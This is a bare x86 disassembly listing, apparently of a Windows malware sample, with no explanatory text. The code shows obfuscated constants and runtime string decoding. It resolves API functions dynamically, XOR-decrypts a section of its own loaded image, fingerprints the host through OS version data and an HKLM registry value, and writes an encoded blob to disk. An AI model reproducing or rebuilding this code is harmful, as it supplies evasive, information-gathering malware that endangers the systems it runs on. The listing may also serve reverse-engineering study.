mov [ebp+var_2F8], eax
push dword ptr ds:10010380h[eax]
call dword ptr ds:10012628h
mov edi, [ebp+var_2F8]
mov ds:10010390h[edi], eax
push 100089F6h
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2FC], eax
push dword ptr ds:10010380h[eax]
call dword ptr ds:1000F5FCh
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_300], eax
mov [ebp+var_304], eax
push dword ptr ds:10010384h[eax]
call dword ptr ds:10012628h
mov edi, [ebp+var_304]
mov ds:10010394h[edi], eax
push 100089F6h
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_308], eax
push dword ptr ds:10010384h[eax]
call dword ptr ds:1000F5FCh
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_30C], eax
mov [ebp+var_310], eax
push dword ptr ds:10010388h[eax]
call dword ptr ds:10012628h
mov edi, [ebp+var_310]
mov ds:10010398h[edi], eax
push 100089F6h
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_314], eax
push dword ptr ds:10010388h[eax]
call dword ptr ds:1000F5FCh
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_318], eax
mov [ebp+var_31C], eax
push dword ptr ds:1001037Ch[eax]
call dword ptr ds:10012628h
mov edi, [ebp+var_31C]
mov ds:1001039Ch[edi], eax
push 100089F6h
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_320], eax
push dword ptr ds:1001037Ch[eax]
call dword ptr ds:1000F5FCh
mov eax, 30h
mul esi
mov [ebp+var_324], eax
push dword ptr ds:10010380h[eax]
call dword ptr ds:1000FA40h
loc_41EFC7: ; CODE XREF: sub_41DF98+10j
; sub_41DF98+21j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DF98 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, ds:1001320Ch
add eax, ds:10013198h
sub eax, 8
cmp ds:10012784h, eax
jbe short loc_41EFF0
push 10012784h
call dword ptr ds:1000D010h
loc_41EFF0: ; CODE XREF: .data:0041EFE3j
mov eax, ds:10012784h
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov eax, [ebp+0Ch]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword ptr ds:1000F618h
pop edi
pop ebp
retn 10h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 15Ch
push ebx
push esi
push edi
call sub_41A1EB
call sub_41B8C0
call sub_41B7D9
call sub_4198EA
call sub_421158
call sub_419AAB
call sub_41C67B
call sub_41C5D3
call sub_419BB0
mov esi, eax
loc_41F052: ; CODE XREF: .data:0041F0AEj
call sub_419B03
mov edx, eax
mov [ebp-144h], dl
movzx eax, byte ptr [ebp-144h]
mov edx, ds:100130A0h
sub edx, 2
cmp eax, edx
jnz short loc_41F08A
movsx eax, word ptr ds:100131DCh
add eax, ds:10013194h
sub eax, 9
push eax
call dword ptr ds:10012664h
loc_41F08A: ; CODE XREF: .data:0041F071j
movzx eax, byte ptr [ebp-144h]
mov edx, ds:100131F8h
sub edx, 2
cmp eax, edx
jnz short loc_41F0B0
mov eax, ds:10013228h
add eax, 61h
push eax
call dword ptr ds:10012630h
pop ecx
jmp short loc_41F052
; ---------------------------------------------------------------------------
loc_41F0B0: ; CODE XREF: .data:0041F09Cj
or esi, esi
jnz loc_41F16A
push 10013EF3h
call sub_41C914
mov [ebp-154h], eax
push 10013EE9h
call sub_41C914
push eax
mov edx, [ebp-154h]
push edx
lea edx, [ebp-143h]
push edx
call dword ptr ds:10012634h
lea eax, [ebp-143h]
push eax
push 0
push 0
call dword ptr ds:1001261Ch
mov ebx, eax
push 10013EDDh
call sub_41C914
mov [ebp-158h], eax
push 10013ED3h
call sub_41C914
mov edx, ds:10013234h
add edx, ds:1001323Ch
sub edx, 7
push edx
push eax
mov edx, [ebp-158h]
push edx
lea edx, [ebp-143h]
push edx
call dword ptr ds:10012634h
add esp, 2Ch
lea eax, [ebp-143h]
push eax
push 0
push 0
call dword ptr ds:1001261Ch
mov ebx, eax
or ebx, ebx
jnz short loc_41F16A
movsx eax, word ptr ds:100130CCh
add eax, ds:10013138h
sub eax, 6
push eax
call dword ptr ds:10012664h
loc_41F16A: ; CODE XREF: .data:0041F0B2j
; .data:0041F151j
push 0
call dword ptr ds:1000F5E8h
mov edi, eax
push 10013EC9h
call sub_41C914
mov [ebp-20h], eax
mov [ebp-34h], edi
lea eax, ds:10007BECh
mov [ebp-40h], eax
push 7F00h
push 0
call dword ptr ds:10010220h
mov [ebp-2Ch], eax
push 7F03h
push 0
call dword ptr ds:10012620h
mov [ebp-30h], eax
and dword ptr [ebp-24h], 0
push 0
call dword ptr ds:1000E120h
mov [ebp-28h], eax
mov dword ptr [ebp-44h], 3
mov eax, ds:100131C4h
add eax, ds:1001319Ch
sub eax, 0Bh
mov [ebp-3Ch], eax
mov eax, ds:10013108h
movsx edx, word ptr ds:100130FCh
add eax, edx
sub eax, 0Ch
mov [ebp-38h], eax
lea eax, [ebp-44h]
push eax
call dword ptr ds:1000F0DCh
push 10013EBFh
call sub_41C914
mov [ebp-15Ch], eax
push 10013EB5h
call sub_41C914
push 0
push edi
push 0
push 0
mov edx, ds:10013228h
add edx, ds:100131D8h
sub edx, 0Ch
push edx
movsx edx, word ptr ds:10013124h
sub edx, 6
push edx
mov edx, ds:10013214h
mov ecx, edx
sub ecx, 9
push ecx
movsx ecx, word ptr ds:100130E0h
dec ecx
push ecx
push 0CA0000h
push eax
mov ecx, [ebp-15Ch]
push ecx
mov ecx, ds:10013254h
add ecx, edx
mov edx, ecx
sub edx, 12h
push edx
call dword ptr ds:1001164Ch
mov ds:1000F610h, eax
lea eax, [ebp-148h]
push eax
push edi
call sub_41F52F
add esp, 14h
mov [ebp-14Ch], eax
mov ds:10012610h, eax
mov eax, [ebp-148h]
mov ds:1000F614h, eax
or esi, esi
jnz short loc_41F2AD
call sub_419F76
mov eax, ds:10013090h
add eax, ds:10013110h
sub eax, 8
mov ds:10012638h, eax
jmp short loc_41F2C6
; ---------------------------------------------------------------------------
loc_41F2AD: ; CODE XREF: .data:0041F291j
movsx eax, word ptr ds:100130C0h
mov edx, ds:10013220h
lea eax, [eax+edx+3A92h]
mov ds:10012638h, eax
loc_41F2C6: ; CODE XREF: .data:0041F2ABj
lea eax, [ebp-150h]
push eax
mov eax, ds:100131D8h
add eax, ds:100130DCh
sub eax, 0Ch
push eax
push 0
push 100029CBh
mov eax, ds:1001321Ch
add eax, ds:10013224h
sub eax, 0Dh
push eax
push 0
call dword ptr ds:10012B90h
push eax
call dword ptr ds:10011654h
or esi, esi
jnz short loc_41F325
call sub_419F88
call sub_41DABE
jmp short loc_41F325
; ---------------------------------------------------------------------------
loc_41F311: ; CODE XREF: .data:0041F347j
lea eax, [ebp-1Ch]
push eax
call dword ptr ds:1001277Ch
lea eax, [ebp-1Ch]
push eax
call dword ptr ds:1000D050h
loc_41F325: ; CODE XREF: .data:0041F303j
; .data:0041F30Fj
movsx eax, word ptr ds:10013174h
sub eax, 7
push eax
mov eax, ds:10013134h
sub eax, 8
push eax
push 0
lea eax, [ebp-1Ch]
push eax
call dword ptr ds:10011630h
or eax, eax
jnz short loc_41F311
pop edi
pop esi
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
dd 4001B8h, 8C280h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 10012784h
call dword ptr ds:1000FA3Ch
mov eax, ds:10012784h
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41F36F proc near ; CODE XREF: .data:00420EA7p
push edi
push 10013EA7h
call sub_41C914
pop ecx
push eax
call dword ptr ds:1000F5E8h
mov ds:10013298h, eax
test eax, eax
jnz short loc_41F3A2
push 10013E99h
call sub_41C914
pop ecx
push eax
call dword ptr ds:10010244h
mov ds:10013298h, eax
loc_41F3A2: ; CODE XREF: sub_41F36F+1Aj
push 10013E8Fh
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:10012630h, eax
push 10013E84h
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:1000D030h, eax
push 10013E7Ch
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:1000D054h, eax
push 10013E74h
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:1000FA38h, eax
push 10013E6Ah
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:1000FA2Ch, eax
push 10013E60h
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:1001264Ch, eax
push 10013E56h
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:10011638h, eax
push 10013E4Ch
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:10011644h, eax
push 10013E44h
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:10012BACh, eax
push 10013E3Bh
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:10012600h, eax
push 10013E31h
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:1000D020h, eax
push 10013E26h
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:10012634h, eax
push 10013E1Ah
call sub_41C914
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:1001024Ch, eax
push 10013E10h
call sub_41C914
add esp, 38h
push eax
push dword ptr ds:10013298h
call dword ptr ds:1000F1F8h
mov ds:1000F1F4h, eax
pop edi
retn
sub_41F36F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F52F proc near ; CODE XREF: .data:0041F271p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov eax, [ebp+arg_0]
mov esi, [eax+3Ch]
mov ecx, esi
add ecx, eax
mov eax, [ecx+28h]
mov edx, [ebp+arg_0]
lea esi, [eax+edx+0Dh]
movzx eax, byte ptr [esi]
xor eax, 4Dh
mov [ebp+var_1], al
movzx eax, byte ptr [esi+1]
mov edx, ds:1001318Ch
add edx, 200h
mov ebx, eax
imul ebx, edx
mov eax, ds:100130ECh
mov ecx, eax
add ecx, ds:1001309Ch
sub ecx, 7
jmp short loc_41F587
; ---------------------------------------------------------------------------
loc_41F579: ; CODE XREF: sub_41F52F+5Aj
movzx eax, byte ptr [esi+ecx]
movzx edx, [ebp+var_1]
xor eax, edx
mov [esi+ecx], al
inc ecx
loc_41F587: ; CODE XREF: sub_41F52F+48j
cmp ecx, ebx
jb short loc_41F579
mov eax, [ebp+arg_4]
mov [eax], ebx
mov eax, esi
pop esi
pop ebx
leave
retn
sub_41F52F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F596 proc near ; CODE XREF: sub_419F88+ABp
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_1A4 = dword ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_198 = dword ptr -198h
var_193 = dword ptr -193h
var_18F = dword ptr -18Fh
var_18B = dword ptr -18Bh
var_187 = dword ptr -187h
var_183 = dword ptr -183h
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1ACh
push esi
push edi
mov edi, [ebp+arg_0]
mov byte ptr [edi], 0
mov [ebp+var_193], 94h
lea eax, [ebp+var_193]
push eax
call dword ptr ds:10012B98h
cmp [ebp+var_183], 1
jnz short loc_41F5DC
push 10013E0Ah
call sub_41C914
push eax
push edi
call dword ptr ds:1000D020h
add esp, 0Ch
loc_41F5DC: ; CODE XREF: sub_41F596+2Fj
cmp [ebp+var_183], 2
jnz short loc_41F5FA
push 10013E04h
call sub_41C914
push eax
push edi
call dword ptr ds:10012634h
add esp, 0Ch
loc_41F5FA: ; CODE XREF: sub_41F596+4Dj
push 10013DF8h
call sub_41C914
push [ebp+var_187]
push [ebp+var_18B]
push [ebp+var_18F]
push eax
lea esi, [ebp+var_FF]
push esi
call dword ptr ds:10012634h
lea eax, [ebp+var_FF]
push eax
push edi
call dword ptr ds:1000D020h
push 10013DF1h
call sub_41C914
mov esi, ds:10013244h
sub esi, 4
push esi
push 0
lea esi, [ebp+var_19C]
push esi
lea esi, [ebp+var_19C]
push esi
lea esi, [ebp+var_198]
push esi
push 0FFh
lea esi, [ebp+var_FF]
push esi
push eax
call dword ptr ds:10012614h
push 10013DE9h
call sub_41C914
push [ebp+var_198]
push eax
lea esi, [ebp+var_FF]
push esi
call dword ptr ds:10012634h
lea eax, [ebp+var_FF]
push eax
push edi
call dword ptr ds:1000D020h
push 0FFh
lea eax, [ebp+var_FF]
push eax
movsx eax, word ptr ds:1001324Ch
movsx edx, word ptr ds:100131E0h
add eax, edx
sub eax, 9
push eax
push 400h
call dword ptr ds:1000F5F8h
lea eax, [ebp+var_FF]
push eax
push edi
call dword ptr ds:1000D020h
push 10013DE4h
call sub_41C914
push eax
push edi
call dword ptr ds:1000D020h
mov [ebp+var_1A0], 0FFh
push 10013DB7h
call sub_41C914
mov [ebp+var_1AC], eax
push 10013DAAh
call sub_41C914
lea esi, [ebp+var_1A8]
push esi
lea esi, [ebp+var_1A0]
push esi
lea esi, [ebp+var_FF]
push esi
push eax
mov esi, [ebp+var_1AC]
push esi
push 80000002h
call sub_41C7DB
add esp, 70h
mov [ebp+var_1A4], eax
mov eax, ds:1001315Ch
sub eax, 8
cmp [ebp+var_1A4], eax
jnz short loc_41F75C
lea eax, [ebp+var_FF]
push eax
push edi
call dword ptr ds:1000D020h
add esp, 8
loc_41F75C: ; CODE XREF: sub_41F596+1B3j
pop edi
pop esi
leave
retn
sub_41F596 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F760 proc near ; CODE XREF: sub_419F88+C7p
; sub_41B354+3D1p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, ds:100131D4h
sub esi, 2
jmp short loc_41F7A8
; ---------------------------------------------------------------------------
loc_41F774: ; CODE XREF: sub_41F760+4Bj
call dword ptr ds:10012BACh
movsx edi, word ptr ds:1001322Ch
mov edx, ds:10013214h
lea edi, [edi+edx+51h]
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
add edi, eax
mov edx, edi
mov [ebx+esi], dl
inc esi
loc_41F7A8: ; CODE XREF: sub_41F760+12j
cmp esi, [ebp+arg_4]
jl short loc_41F774
mov eax, [ebp+arg_4]
mov edx, ds:10013190h
sub edx, 2
mov [ebx+eax], dl
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41F760 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 118h
push ebx
push esi
push edi
movsx eax, word ptr ds:100131F0h
sub eax, 3
mov edx, [ebp+8]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_41F7F5
push 1000F0F0h
lea eax, [ebp-110h]
push eax
call sub_423399
jmp short loc_41F806
; ---------------------------------------------------------------------------
loc_41F7F5: ; CODE XREF: .data:0041F7E0j
push 10010260h
lea eax, [ebp-110h]
push eax
call sub_423399
loc_41F806: ; CODE XREF: .data:0041F7F3j
push 0
movsx eax, word ptr ds:10013160h
dec eax
push eax
push 4
push 0
mov eax, ds:1001318Ch
movsx edx, word ptr ds:10013240h
add eax, edx
sub eax, 2
push eax
push 40000000h
lea eax, [ebp-110h]
push eax
call dword ptr ds:10012788h
mov [ebp-8], eax
push 2
push 0
mov eax, ds:100131A0h
add eax, ds:10013210h
sub eax, 4
push eax
push dword ptr [ebp-8]
call dword ptr ds:10012B9Ch
push 10013DA2h
call sub_41C914
pop ecx
push 0
lea edx, [ebp-0Ch]
push edx
movsx edx, word ptr ds:100130B0h
movsx ecx, word ptr ds:100131B4h
add edx, ecx
sub edx, 7
push edx
push eax
push dword ptr [ebp-8]
call dword ptr ds:10012B8Ch
push 493E0h
push 40h
call dword ptr ds:1000FA34h
mov ebx, eax
push 61A80h
push 40h
call dword ptr ds:1000FA34h
mov esi, eax
mov eax, ds:100131BCh
sub eax, 9
mov edx, [ebp+8]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_41F8C3
mov eax, [ebp+8]
inc eax
push eax
push ebx
call sub_423399
jmp short loc_41F8CC
; ---------------------------------------------------------------------------
loc_41F8C3: ; CODE XREF: .data:0041F8B4j
push dword ptr [ebp+8]
push ebx
call sub_423399
loc_41F8CC: ; CODE XREF: .data:0041F8C1j
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_41F8D1: ; CODE XREF: .data:0041F8D6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41F8D1
mov [ebp-4], eax
mov edi, ds:1001328Ch
sub edi, 6
jmp short loc_41F90C
; ---------------------------------------------------------------------------
loc_41F8E6: ; CODE XREF: .data:0041F90Fj
movzx eax, byte ptr [ebx+edi]
mov [ebp-114h], eax
mov eax, edi
mul edi
mov [ebp-118h], eax
mov eax, [ebp-114h]
mov edx, [ebp-118h]
add eax, edx
mov [ebx+edi], al
inc edi
loc_41F90C: ; CODE XREF: .data:0041F8E4j
cmp edi, [ebp-4]
jb short loc_41F8E6
mov eax, ds:100130C4h
add eax, 61A79h
push eax
push esi
push dword ptr [ebp-4]
push ebx
call sub_41B22D
add esp, 10h
movsx eax, word ptr ds:10013260h
mov edi, eax
add edi, ds:10013224h
sub edi, 7
jmp short loc_41F952
; ---------------------------------------------------------------------------
loc_41F93D: ; CODE XREF: .data:0041F960j
cmp byte ptr [esi+edi], 2Bh
jnz short loc_41F947
mov byte ptr [esi+edi], 28h
loc_41F947: ; CODE XREF: .data:0041F941j
cmp byte ptr [esi+edi], 3Dh
jnz short loc_41F951
mov byte ptr [esi+edi], 29h
loc_41F951: ; CODE XREF: .data:0041F94Bj
inc edi
loc_41F952: ; CODE XREF: .data:0041F93Bj
mov ecx, esi
or eax, 0FFFFFFFFh
loc_41F957: ; CODE XREF: .data:0041F95Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41F957
cmp edi, eax
jb short loc_41F93D
mov eax, ds:1001312Ch
sub eax, 8
mov edx, [ebp+8]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_41F9A3
push 10013D9Dh
call sub_41C914
add esp, 4
push 0
lea edi, [ebp-0Ch]
push edi
mov edi, ds:10013244h
movsx edx, word ptr ds:100130B0h
add edi, edx
sub edi, 0Ah
push edi
push eax
push dword ptr [ebp-8]
call dword ptr ds:10012B8Ch
loc_41F9A3: ; CODE XREF: .data:0041F971j
mov ecx, esi
or eax, 0FFFFFFFFh
loc_41F9A8: ; CODE XREF: .data:0041F9ADj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41F9A8
push 0
lea edx, [ebp-0Ch]
push edx
mov edx, ds:10013110h
add edx, ds:10013238h
sub edx, 4
mov edi, eax
add edi, edx
push edi
push esi
push dword ptr [ebp-8]
call dword ptr ds:10012B8Ch
push dword ptr [ebp-8]
call dword ptr ds:10011654h
push ebx
call dword ptr ds:1000F61Ch
push esi
call dword ptr ds:1000F61Ch
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9EF proc near ; CODE XREF: sub_419F76+2p
; sub_419F76+9p
var_104 = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push edi
lea eax, [ebp+var_104]
push eax
mov eax, ds:100131D0h
sub eax, 7
push eax
push 0
push [ebp+arg_0]
push 0
call dword ptr ds:1000FA44h
mov edi, eax
or edi, edi
jnz short loc_41FA47
push 10013D98h
call sub_41C914
push eax
lea edi, [ebp+var_104]
push edi
call dword ptr ds:1000D020h
push 1
push 43h
lea eax, [ebp+var_104]
push eax
call sub_41D764
add esp, 18h
loc_41FA47: ; CODE XREF: sub_41F9EF+2Bj
pop edi
leave
retn
sub_41F9EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FA4A proc near ; CODE XREF: .data:00419D60p
; sub_41DABE+17Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov eax, ds:1001326Ch
movsx edx, word ptr ds:10013118h
mov esi, eax
add esi, edx
sub esi, 0Ch
lea eax, [ebp+var_4]
push eax
push 10014A38h
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr ds:0[ebx]
mov edi, eax
mov eax, ds:100131D4h
sub eax, 2
cmp edi, eax
jz short loc_41FA8D
xor eax, eax
jmp short loc_41FAEB
; ---------------------------------------------------------------------------
loc_41FA8D: ; CODE XREF: sub_41FA4A+3Dj
lea eax, [ebp+var_8]
push eax
push [ebp+arg_8]
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+10h]
mov edi, eax
mov eax, ds:100130B8h
sub eax, 3
cmp edi, eax
jnz short loc_41FAE0
push [ebp+arg_C]
push [ebp+arg_4]
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+14h]
mov edi, eax
mov eax, ds:100131CCh
add eax, ds:10013284h
sub eax, 0Fh
cmp edi, eax
jnz short loc_41FAD7
mov esi, ds:10013244h
sub esi, 3
loc_41FAD7: ; CODE XREF: sub_41FA4A+82j
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_41FAE0: ; CODE XREF: sub_41FA4A+5Fj
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, esi
loc_41FAEB: ; CODE XREF: sub_41FA4A+41j
pop edi
pop esi
pop ebx
leave
retn
sub_41FA4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FAF0 proc near ; CODE XREF: sub_41DF98+463p
; sub_41DF98+47Fp
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_423379
push ebx
push esi
push edi
push 5
push [ebp+arg_0]
call dword ptr ds:1000D004h
mov edi, eax
loc_41FB0D: ; CODE XREF: sub_41FAF0+7Dj
or edi, edi
jnz short loc_41FB15
xor eax, eax
jmp short loc_41FB6F
; ---------------------------------------------------------------------------
loc_41FB15: ; CODE XREF: sub_41FAF0+1Fj
push 0FFFh
lea eax, [ebp+var_FFF]
push eax
push edi
call dword ptr ds:1000E010h
movsx eax, word ptr ds:10013144h
sub eax, 5
push eax
push [ebp+arg_4]
lea eax, [ebp+var_FFF]
push eax
call sub_4188C2
add esp, 0Ch
movsx esi, word ptr ds:10013124h
movsx ebx, word ptr ds:10013170h
lea esi, [esi+ebx+0FFF7h]
cmp eax, esi
jz short loc_41FB62
mov eax, edi
jmp short loc_41FB6F
; ---------------------------------------------------------------------------
loc_41FB62: ; CODE XREF: sub_41FAF0+6Cj
push 2
push edi
call dword ptr ds:1000D004h
mov edi, eax
jmp short loc_41FB0D
; ---------------------------------------------------------------------------
loc_41FB6F: ; CODE XREF: sub_41FAF0+23j
; sub_41FAF0+70j
pop edi
pop esi
pop ebx
leave
retn
sub_41FAF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FB74 proc near ; CODE XREF: sub_418999+209p
; sub_418999+220p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword ptr ds:10013290h, 0
jnz short loc_41FB9C
push 10012BC0h
call dword ptr ds:1000E008h
mov dword ptr ds:10013290h, 1
loc_41FB9C: ; CODE XREF: sub_41FB74+11j
mov esi, ds:100131D8h
sub esi, 3
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+2]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
movsx edx, word ptr ds:100130BCh
sub edx, 7
imul ebx, edx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, ds:100130ACh
add edx, 5
cmp eax, edx
jz loc_41FC5F
push 10012BC0h
call dword ptr ds:10012660h
mov eax, ds:10013110h
inc eax
mov [ebp+var_2], ax
jmp short loc_41FC1A
; ---------------------------------------------------------------------------
loc_41FBF6: ; CODE XREF: sub_41FB74+B0j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+4]
xor edx, ecx
mov [eax], dl
movzx eax, [ebp+var_2]
mov edx, ds:1001309Ch
sub edx, 3
add eax, edx
mov [ebp+var_2], ax
loc_41FC1A: ; CODE XREF: sub_41FB74+80j
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_41FBF6
mov eax, ds:100131F8h
sub eax, 3
mov edx, ds:10013258h
sub edx, 2
mov [edi+eax], dl
mov eax, ds:1001321Ch
add eax, ds:10013114h
sub eax, 0Eh
mov edx, ds:10013128h
sub edx, 9
mov [edi+eax], dl
push 10012BC0h
call dword ptr ds:10011650h
loc_41FC5F: ; CODE XREF: sub_41FB74+65j
lea eax, [edi+6]
pop edi
pop esi
pop ebx
leave
retn
sub_41FB74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FC67 proc near ; CODE XREF: sub_41BD8F+24p
; sub_41DCEB+25p ...
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push edi
mov edi, [ebp+arg_0]
push 104h
lea eax, [ebp+var_108]
push eax
call dword ptr ds:1000F600h
mov eax, ds:1001314Ch
movsx edx, word ptr ds:10013264h
sub edx, 9
mov byte ptr [ebp+eax+var_10C+1], dl
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10C]
push eax
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_108]
push eax
call dword ptr ds:10012614h
push 10013D90h
call sub_41C914
push [ebp+var_10C]
push eax
push edi
call dword ptr ds:10012634h
add esp, 10h
mov eax, ds:100131D0h
add eax, ds:10013184h
sub eax, 9
mov [ebp+var_4], eax
jmp short loc_41FD2D
; ---------------------------------------------------------------------------
loc_41FCFE: ; CODE XREF: sub_41FC67+D3j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 30h
jl short loc_41FD14
cmp al, 39h
jg short loc_41FD14
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 31h
loc_41FD14: ; CODE XREF: sub_41FC67+9Fj
; sub_41FC67+A3j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 41h
jl short loc_41FD2A
cmp al, 5Ah
jg short loc_41FD2A
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 20h
loc_41FD2A: ; CODE XREF: sub_41FC67+B5j
; sub_41FC67+B9j
inc [ebp+var_4]
loc_41FD2D: ; CODE XREF: sub_41FC67+95j
movsx eax, word ptr ds:100131F0h
add eax, 5
cmp [ebp+var_4], eax
jb short loc_41FCFE
pop edi
leave
retn
sub_41FC67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD3F proc near ; CODE XREF: sub_41B22D+3Cp
; sub_41B22D+C4p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
movzx ebx, byte ptr [eax]
movsx eax, word ptr ds:100130BCh
mov edx, ds:10013234h
lea eax, [eax+edx+0F3h]
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+1]
add ebx, eax
movsx eax, word ptr ds:10013218h
add eax, 0FBh
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+2]
add ebx, eax
mov eax, ds:10013280h
movsx edx, word ptr ds:100131B4h
mov esi, eax
add esi, edx
sub esi, 8
jmp short loc_41FDEA
; ---------------------------------------------------------------------------
loc_41FD99: ; CODE XREF: sub_41FD3F+B5j
movsx edi, word ptr ds:10013208h
add edi, ds:10013224h
sub edi, 7
sub edi, esi
mov edx, [ebp+arg_4]
mov [ebp+var_4], edx
mov edx, ebx
and edx, 8000003Fh
jge short loc_41FDC0
dec edx
or edx, 0FFFFFFC0h
inc edx
loc_41FDC0: ; CODE XREF: sub_41FD3F+7Aj
mov ecx, ds:100132BCh
mov dl, [ecx+edx]
mov ecx, [ebp+var_4]
mov [ecx+edi], dl
mov eax, ebx
mov edi, ds:1001317Ch
add edi, 34h
mov ecx, edi
add ecx, ds:100130F4h
cdq
idiv ecx
mov ebx, eax
add esi, 1
loc_41FDEA: ; CODE XREF: sub_41FD3F+58j
movsx eax, word ptr ds:10013208h
dec eax
cmp esi, eax
jl short loc_41FD99
pop edi
pop esi
pop ebx
leave
retn
sub_41FD3F endp
; ---------------------------------------------------------------------------
db 0B8h
dd 80004001h
db 0C2h, 10h, 0
